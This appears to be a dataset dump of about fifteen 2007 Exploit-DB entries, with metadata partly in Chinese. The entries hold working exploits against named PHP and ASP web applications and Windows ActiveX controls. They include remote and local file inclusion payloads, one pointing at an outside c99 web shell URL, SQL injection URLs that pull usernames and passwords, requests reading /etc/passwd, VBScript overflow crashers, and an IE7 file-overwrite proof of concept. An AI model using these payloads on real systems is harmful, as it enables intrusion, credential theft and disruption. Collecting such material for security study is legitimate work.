QLWD/code_shield huggingface dataset:
标题: YAAP 1.5 - '__autoload()' Remote File Inclusion EDB-ID: 3908 CVE: 2007-2664 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-12 漏洞利用脚本: --------------------------------------------------------------------------------
Script name.......:Yaap
Affected Version.....:1.5
D.page..:http://yaap.oskbraniewo.pl/download/yaap_15.tar.gz
--------------------------------------------------------------------------------
Author:3l3ctric-Cracker  (Dr Max Virus) :D
Contact:drmaxvirus@w.cn
--------------------------------------------------------------------------------
Bug in:\public_html\includes\common.php
Vul Code:
include_once($root_path.'/classes/'.$class_name.'.php');
----------------------------------------------------------------------------------
POC:
http:[target]/[path]/includes/common.php?root_path=ShellCode
-----------------------------------------------------------------------------------

# milw0rm.com [2007-05-12] URL: https://www.exploit-db.com/exploits/3908
标题: CJG EXPLORER PRO 3.2 - 'g_pcltar_lib_dir' Remote File Inclusion EDB-ID: 3915 CVE: 2007-2660 2007-2199 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-13 漏洞利用脚本: #######################S==A==U==D==I#########################

CJG EXPLORER PRO v3.2 (pcltar.lib.php)(pcltrace.lib.php) Remote File
Include Vulnerabilities

##############################################################

Found By : Mogatil , jjl@hotmail.com

##############################################################

Script Site :
http://www.zascom.com/download/PHP/1868-CEP-PHP.ZIP
##############################################################
File : /pcltar.lib.php
include($g_pcltar_lib_dir."/pclerror.lib.php");

File : /pcltrace.lib.php
include($g_pcltar_lib_dir."/pclerror.lib.php");



##############################################################

Thanx: [cold zero] [gawey Al Azary] [crazy man] [scorbion_22]
[the_muslim_sniper]

##############################################################

Exploit :[Path]cep/lib/pcltar.lib.php?g_pcltar_lib_dir=shell

Exploit :[Path]cep/lib/pcltrace.lib.php?g_pcltar_lib_dir=shell

##############################################################

# milw0rm.com [2007-05-13] URL: https://www.exploit-db.com/exploits/3915
标题: Beacon 0.2.0 - 'splash.lang.php' Remote File Inclusion EDB-ID: 3909 CVE: 2007-2663 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-12 漏洞利用脚本: #Beacon => 2.0Remot file inclusion (languagePath)                                           

#Download script : http://download.savannah.gnu.org/releases/beacon/beacon_0_2_0.zip            

#Thanks Str0ke

#Exploit:

#http://victime.com/pbeacon_path]/beacon/language/1/splash.lang.php?languagePath=shell.txt?

#Discovered by ThE TiGeR

#Miro_Tiger100[at]Hotmail[dot]com

# milw0rm.com [2007-05-12] URL: https://www.exploit-db.com/exploits/3909
标题: iG Shop 1.4 - 'page.php' SQL Injection EDB-ID: 3907 CVE: 2007-2717 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-12 漏洞利用脚本: Discovered by: gsy & kerem125
Website: www.kerem125.com

Script Download: http://www.igeneric.co.uk/ig-shopping-cart.html

exploit:/shop/page.php?page_type=catalog_navigate&type_id[]=-99%20union/**/select/**/password/**/from/**/users/*

example:http://shop.igeneric.co.uk/shop/page.php?page_type=catalog_navigate&type_id[]=-99%20union/**/select/**/password/**/from/**/users/*

contact: by_gsy@hotmail.com & kerem125@kerem125.com
Special thx to:by_emr3 , ercu_145, bolivar, voltigore, f10

# user_id int(11) NOT NULL auto_increment,
# fname varchar(50) NOT NULL default '',
# lname varchar(50) NOT NULL default '',
# email varchar(100) NOT NULL default '',
# password varchar(100) NOT NULL default '',
# salutation varchar(5) NOT NULL default '',
# bill_address varchar(200) NOT NULL default '',
# bill_address_2 varchar(100) NOT NULL default '',
# bill_city varchar(50) NOT NULL default '',
# bill_post_code varchar(15) NOT NULL default '',
# bill_country varchar(20) NOT NULL default '',
# bill_phone varchar(15) NOT NULL default '',
# ship_address varchar(200) NOT NULL default '',
# ship_address_2 varchar(100) NOT NULL default '',
# ship_city varchar(50) NOT NULL default '',
# ship_post_code varchar(15) NOT NULL default '',
# ship_country varchar(20) NOT NULL default '',
# ship_phone varchar(15) NOT NULL default '',

# milw0rm.com [2007-05-12] URL: https://www.exploit-db.com/exploits/3907
标题: BlogMe 3.0 - 'archshow.asp?var' SQL Injection EDB-ID: 3914 CVE: 2007-2661 类型: WEBAPPS 平台: ASP 发布日期: 2007-05-13 漏洞利用脚本: Discoveredby:gsy&kerem125

Website:www.kerem125.com

ScriptDownload:http://www.drumster.net/gamma/products.asp (must buy)


exploit:/blogme/archshow.asp?var=-99%20Union+all+select+0,1,2,3,4,username,password,7,8,9,10,0+from+admin


contact:by_gsy@hotmail.com&kerem125@kerem125.com
Specialthxto:by_emr3,ercu_145,bolivar,voltigore,f10

# milw0rm.com [2007-05-13] URL: https://www.exploit-db.com/exploits/3914
标题: EfesTECH Haber 5.0 - 'id' SQL Injection EDB-ID: 3911 CVE: 2007-2662 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-14 漏洞利用脚本: #Title: EfesTECH Haber v5,0 Remote SQL Injection Vulnerability
#Author: CyberGhost
#Demo Page: http://www.haberguvercini.com
#Script Page: http://aspindir.com/indir.asp?id=4899&sIslem=%DDndir

#Vuln.

#Username - Password:/?efestech=haber&id=-1+union+select+0,kulladi,2,3,sifre,5,6,7,8,9,0,1,2,3,4+from+editorler
#Admin Login : /editor
====================================
Thanx : redLine - Hackinger - excellance - Liarhack - SaCReD SeeR - MaTRax - KinSize - BolivaR

And All TURKISH HACKERS !

# milw0rm.com [2007-05-14] URL: https://www.exploit-db.com/exploits/3911
标题: ID Automation Linear Barcode - ActiveX Denial of Service EDB-ID: 3917 CVE: 2007-2658 类型: DOS 平台: WINDOWS 发布日期: 2007-05-13 漏洞利用脚本: <span style="font: 14pt Courier New;"><p align="center"><b>2007/05/13</b></p></span>
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------------------------
 <b>ID Automation Linear Barcode ActiveX Control (IDAutomationLinear6.dll) v. 1.6.0.5 DoS</b>
 url: http://www.idautomation.com/
 price: from $199 to $3,570

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
--------------------------------------------------------------------------------------------------

<object classid='clsid:0C3874AA-AB39-4B5E-A768-45F3CE6C6819' id='target' ></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test"> <input language=VBScript onclick=QuoteMe() type=button value="Quoting...">
<script language='vbscript'>
 Sub tryMe
   buff = ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA") & _
          ("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA")
  target.SaveEnhWMF buff
 End Sub
 Sub QuoteMe
  Dim MyMsg
   MyMsg = MsgBox("...e avevo gli occhi gonfi di stupore nel sentire:" & vbCrLf & _
                  "Il cielo azzurro appare limpido e regale" & vbCrLf & _
                  "il cielo a volte, invece, ha qualche cosa di infernale.", 64, "2007/05/13 - ID Automation Linear Barcode 1.6")
 end sub
</script></span></span>
</code></pre>

# milw0rm.com [2007-05-13] URL: https://www.exploit-db.com/exploits/3917
标题: PrecisionID Barcode ActiveX 1.3 - Denial of Service EDB-ID: 3910 CVE: 2007-2657 类型: DOS 平台: WINDOWS 发布日期: 2007-05-12 漏洞利用脚本: <pre>
<span style="font: 14pt Courier New;"><p align="center"><b>2007/05/12</b></p></span>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">--------------------------------------------------------------------------------
 <b>PrecisionID Barcode ActiveX (PrecisionID_DataMatrix.DLL) 1.3 Denail of Service</b>
 url: http://www.precisionid.com/

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 all software that use this ocx are vulnerable to these exploits.
--------------------------------------------------------------------------------

<object classid='clsid:6C951D10-B07F-11DB-A6ED-0050C2490048' id='test'></object>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
 Sub tryMe
  buff=String(304,"B")
     
  get_eax = unescape("%D1%60%61%61")

  buff2 = String(709,"C")

  egg = buff + get_eax + buff2
  
  test.SaveBarCode egg
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-12] URL: https://www.exploit-db.com/exploits/3910
标题: maGAZIn 2.0 - 'PHPThumb.php?src' Remote File Disclosure EDB-ID: 3901 CVE: 2007-2643 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-11 漏洞利用脚本: \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo---------------------------------------------------

[ Y! Underground Group ]
[   Dj7xpl@yahoo.com   ]
[    Dj7xpl.2600.ir    ]

----ooooO-----Ooooo--------------------------------------------------
    (   )     (   )
     \ (       ) /
      \_)     (_/

---------------------------------------------------------------------

[!] Portal   :   maGAZIn v2.0
[!] Download :   http://www.pinkcrow.net/Scripts/gallery.php
[!] Type     :   Remote File Disclosure Vulnerability

---------------------------------------------------------------------

---------------------------------------------------------------------

Vuln Code :  Line (152 - 157)

[Code]
if ($fp = @fopen($_SERVER['DOCUMENT_ROOT'].$_REQUEST['src'], 'rb')) {
  $OriginalImageData = fread($fp, filesize($_SERVER['DOCUMENT_ROOT'].$_REQUEST['src']));
  fclose($fp);
 } else {
  ErrorImage('cannot open '.$_SERVER['DOCUMENT_ROOT'].$_REQUEST['src'], 400, 50);
 }
[/Code]

---------------------------------------------------------------------

---------------------------------------------------------------------

Bug :

http://[Target]/[Path]/phpThumb.php?src=[Local File]

Example :

http://Target.ir/Gallery/phpThumb.php?src=../../../etc/passwd

---------------------------------------------------------------------

# milw0rm.com [2007-05-11] URL: https://www.exploit-db.com/exploits/3901
标题: R2K Gallery 1.7 - 'galeria.php?lang2' Local File Inclusion EDB-ID: 3902 CVE: 2007-2642 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-11 漏洞利用脚本: \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo---------------------------------------------------

[ Y! Underground Group ]
[   Dj7xpl@yahoo.com   ]
[    Dj7xpl.2600.ir    ]

----ooooO-----Ooooo--------------------------------------------------
    (   )     (   )
     \ (       ) /
      \_)     (_/

---------------------------------------------------------------------

[!] Portal   :   R2K Gallery v1.7
[!] Download :   http://usuarios.lycos.es/r2kscripts/
[!] Type     :   Local File Include Vuln

---------------------------------------------------------------------

---------------------------------------------------------------------

Bug :

http://[Target]/[Path]/galeria.php?pictures_folder=[Gallery Folder]&lang2=[Local File]

Example :

http://Target.ir/gallery/galeria.php?pictures_folder=./example/&lang2=../../../etc/passwd%00

---------------------------------------------------------------------

# milw0rm.com [2007-05-11] URL: https://www.exploit-db.com/exploits/3902
标题: W1L3D4 philboard 0.2 - 'W1L3D4_bolum.asp' SQL Injection EDB-ID: 3905 CVE: 2007-2641 类型: WEBAPPS 平台: ASP 发布日期: 2007-05-11 漏洞利用脚本: Discovered by: gsy & kerem125
Website: www.kerem125.com

script download:http://www.aspindir.com/indir2.asp?id=4891&sIslem=%DDndir

exploit:/W1L3D4_bolum.asp?forumid=-99+union+all+select+0,1,2,3,4,5,6,7,8,9,password,username,12,13,14,15,16,17,18,19,20+from+users

example:http://philboard.somee.com/W1L3D4_bolum.asp?forumid=-99+union+all+select+0,1,2,3,4,5,6,7,8,9,password,username,12,13,14,15,16,17,18,19,20+from+users

contact: by_gsy@hotmail.com & kerem125@kerem125.com
Special thx to:by_emr3 , ercu_145, bolivar, voltigore, mardinli, f10

# milw0rm.com [2007-05-11] URL: https://www.exploit-db.com/exploits/3905
标题: Thyme Calendar 1.3 - SQL Injection EDB-ID: 3895 CVE: 2007-2621 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-10 漏洞利用脚本: ##################################################
                 ## Thyme Calendar 1.3 SQL Vulnerability Exploit ##
                 ##                  by Warlord                  ##
                 ##################################################
                 ##              codehook.110mb.com              ##
                 ##################################################

-------------------------------------------------------------------
OVERVIEW AND DEFINITION
-------------------------------------------------------------------

A vulnerability in exists in Thyme Calendar 1.3 (and possibly lower 
versions) which
allows execution of a custom SQL query.

The vulnerability exists in event_view.php, because the 'eid' field is not 
properly
validated. An attacker could exploit the vulnerabilit with the following 
request:


http://sitename/thyme_directory/event_view.php?eid=34 UNION SELECT userid 
FROM thyme_Users


Where 'sitename' is the name of the site, and 'thyme_directory' is the 
directory in which
Thyme is located.

-------------------------------------------------------------------
SQL QUERY
-------------------------------------------------------------------

The SQL query originally looks like this:


SELECT id FROM thyme_Attachments WHERE eid = 34


But by changing the 'eid' field we get a query that looks like this:


SELECT id FROM thyme_Attachments WHERE eid = 34 UNION SELECT userid FROM 
thyme_Users

-------------------------------------------------------------------
RESULT OF NEW QUERY
-------------------------------------------------------------------

The result is that the query sends back all the userid's (actually 
usernames) from the
database instead of the 'id' from thyme_Attachments. You will be able to 
grab the userid's
from the HTML source by searching for 'aid=' as this is where the attachment 
id is
supposed to go. For example:

http://sitename/thyme_directory/download_attachment.php?aid=admin

-------------------------------------------------------------------
GETTING PASSWORDS
-------------------------------------------------------------------

And the password (md5'd) can be obtained in the same fashion:

http://sitename/thyme_directory/event_view.php?eid=34 UNION SELECT pass FROM 
thyme_Users
WHERE username = "admin"

In the HTML source:

http://sitename/thyme_directory/download_attachment.php?aid=9ab1c5afa4946ca0030271736f38c83a

-------------------------------------------------------------------
HOW TO EXPLOIT
-------------------------------------------------------------------

Cookies should be modifiable. If not, crack the md5!

http://md5.rednoize.com

# milw0rm.com [2007-05-10] URL: https://www.exploit-db.com/exploits/3895
标题: Original 0.11 - 'config.inc.php?x[1]' Remote File Inclusion EDB-ID: 3894 CVE: 2007-2620 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-10 漏洞利用脚本: # Original Version 0.11(config.inc.php) Remote File Inclusion Vulnerability
# D.Script: http://xanatos.glo.org.mx/bi/original-0.11.tar.bz2
# Discovered by: GolD_M = [Mahmood_ali]
# Homepage: http://www.Tryag.Com/cc
# Exploit:[Path]/inc/config.inc.php?x[1]=Shell
# Greetz To: Tryag-Team ....**

# milw0rm.com [2007-05-10] URL: https://www.exploit-db.com/exploits/3894
标题: Microsoft Internet Explorer 7 - Arbitrary File Rewrite (MS07-027) EDB-ID: 3892 CVE: 2007-2221 类型: REMOTE 平台: WINDOWS 发布日期: 2007-05-10 漏洞利用脚本: <html>
<title> MS07-027 mdsauth.dll NMSA Session Description Object SaveAs control, arbitrary file modification </title>
<body>

<OBJECT id="target" classid="clsid:d4fe6227-1288-11d0-9097-00aa004254a0"> 

</OBJECT>
<script language="vbscript">
//next script is converted to UTF16
 target.SessionDescription="MS07-027 mdsauth.dll Proof of Concept exploit"
 target.SessionAuthor="Andres Tarasco Acuna"
 target.SessionEmailContact="atarasco_at_gmail.com"
 target.SessionURL="http://www.514.es"
 target.SaveAs "c:\boot.ini"
</script>

</body>
</html>

# milw0rm.com [2007-05-10] URL: https://www.exploit-db.com/exploits/3892
标题: Hewlett Packard 1.0.0.309 - 'hpqvwocx.dll' ActiveX Magview Overflow (PoC) EDB-ID: 3898 CVE: 2007-2656 类型: DOS 平台: WINDOWS 发布日期: 2007-05-11 漏洞利用脚本: <html>

<head>

 <title>

  Proof of Concept -> Hewlett Packard Stack Overflow in hpqvwocx.dll v1.0.0.309

 </title>

</head>

 

<h4>Proof of Concept -> Hewlett Packard Stack Overflow in hpqvwocx.dll v1.0.0.309<br>

Tested in Windows XP Service Pack 2<br>

Discovered by Goodfellas Security Research Team<br>

Url ->http://www.hp.com<br> author -> callAX<br>mail -> callax@shellcode.com.ar<br>

http://www.shellcode.com.ar / http://www.securenetworks.ch</h4>

 

<object classid='clsid:BA726BF9-ED2F-461B-9447-CD5C7D66CE8D' id='pAF' ></object>

 

<input type="button" value="Boom" language="VBScript" OnClick="OuCh()">

 

<script language="VBScript">

 

sub OuCh()

 

 Var_0 = String(1000000, "A")

 

 pAF.DeleteProfile Var_0

 

End Sub

 

 

</script>

 

</html>

 

<!--

 

Tested in OllyDBG 1.08b

 

TEST DWORD PTR DS:[ECX],EAX

 

EAX -> 000ED484

ECX -> 000425F4

EDX -> 00000000

EBX -> 00000000

EIP  -> 04B47B97

 

Sub DeleteProfile (

            ByVal Name  As String

)

 

-->

# milw0rm.com [2007-05-11] URL: https://www.exploit-db.com/exploits/3898
标题: Remote Display Dev kit 1.2.1.0 - 'RControl.dll' Denial of Service EDB-ID: 3891 CVE: 2007-2623 类型: DOS 平台: WINDOWS 发布日期: 2007-05-10 漏洞利用脚本: <span style="font: 14pt Courier New;"><p align="center"><b>2007/05/10</b></p></span>
<pre>
<code><span style="font: 10pt Courier New;"><span class="general1-symbol">-----------------------------------------------------------------------------
 <b>RControl.dll v. 1.2.1.0 Denial of Service Exploit</b>
 url: http://www.fruit2004.com/
 price: only $20 :)

 author: shinnai
 mail: shinnai[at]autistici[dot]org
 site: http://shinnai.altervista.org

 Tested on Windows XP Professional SP2 all patched, with Internet Explorer 7
 If you try less than 4000 chr you'll see a strange crash. It seems like a
 heap overflow in ntdll.dll but I'm really not sure of this thing :)
-----------------------------------------------------------------------------

<object classid='clsid:2A515FCD-C0E9-4F38-9C77-2949514366F2' id='target' style="width: 405px; height: 50px"></object>

<select style="width: 404px" name="Pucca">
  <option value = "Connect">Connect</option>
  <option value = "InternalServer">InternalServer</option>

  <option value = "Quoting">Quoting...</option>
</select>

<input language=VBScript onclick=tryMe() type=button value="Click here to start the test">

<script language='vbscript'>
Sub tryMe
  on error resume next
   Dim MyMsg
   if Pucca.value = "Connect" then
     argCount = 5
     arg1=String(8001,"A")
     arg2=1
     arg3="default"
     arg4="default"
     arg5="default"
     target.connect arg1, arg2, arg3, arg4, arg5
   elseif Pucca.value = "InternalServer" then
     argCount = 1
     arg1=String(1000000, "A")
     target.InternalServer = arg1
   else
     MyMsg = MsgBox ("He turned around to face his mother" & vbCrLf & _
                     "To show her the wound in his breast" & vbCrLf &_
                     "That burned like a brand" & vbCrLf & _
                     "But the sword that cut him open" & vbCrLf & _
                     "Was the sword in his mother's hand", 64, "2007/05/10 - RControl 1.2")
   end if
 End Sub
</script>
</span></span>
</code></pre>

# milw0rm.com [2007-05-10] URL: https://www.exploit-db.com/exploits/3891
标题: PHP FirstPost 0.1 - 'block.php?Include' Remote File Inclusion EDB-ID: 3906 CVE: 2007-2665 2005-2412 类型: WEBAPPS 平台: PHP 发布日期: 2007-05-12 漏洞利用脚本: <html>
<head>
<title>..:: PhpFirstPost blog   Remote File Include Exploit ::..</title>

<script language="JavaScript">

/*


        \\\|///
      \\  - -  //
       (  @ @ )
----oOOo--(_)-oOOo---------------------------------------------------

[ Y! Underground Group ]
[   Dj7xpl@yahoo.com   ]
[    Dj7xpl.2600.ir    ]

----ooooO-----Ooooo--------------------------------------------------
    (   )     (   )
     \ (       ) /
      \_)     (_/

---------------------------------------------------------------------

[!] Portal   :   PhpFirstPost 0.1
[!] Download :   http://sourceforge.net/projects/phpfirstpost/
[!] Type     :   Remote File Include Exploit

---------------------------------------------------------------------

*/

 var path="/"
 var adress="block.php?" 
 var include ="Include=" 
 var phpshell="http://dj7xpl.by.ru/shell/c99.php?" 

 function command(){
     if (document.rfi.target1.value==""){
        alert("Exploit Failed...");
    return false;
  }



rfi.action= document.rfi.target1.value+path+adress+include+phpshell;
rfi.submit(); 
 }
</script>

</head>

<body bgcolor="#198ccd">
<center>

<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
  <b><font face="batangche" size="3" color="white">Target:</font><font
face="Arial" size="2"
color="white">http://Target.ir/blog</font><br><br>
<font color="#00FF00"size="+1" face="batangche">
</font>
<font color="red" size="2"></font></b>
<input type="text" name="target1" size="20" style="background-color:
white" onmouseover="javascript:this.style.background='red';"
onmouseout="javascript:this.style.background='red';"></p>
<p>
<input type="submit" value="Go -->" name="B1">
<input type="reset" value="Clear" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes"
frameborder="0"></iframe>
</p><br><br>
<p><font color="red" size="2" face="batang">Dj7xpl @ Yahoo . com </font></p>
</center>
</body>
</html>

# milw0rm.com [2007-05-12] URL: https://www.exploit-db.com/exploits/3906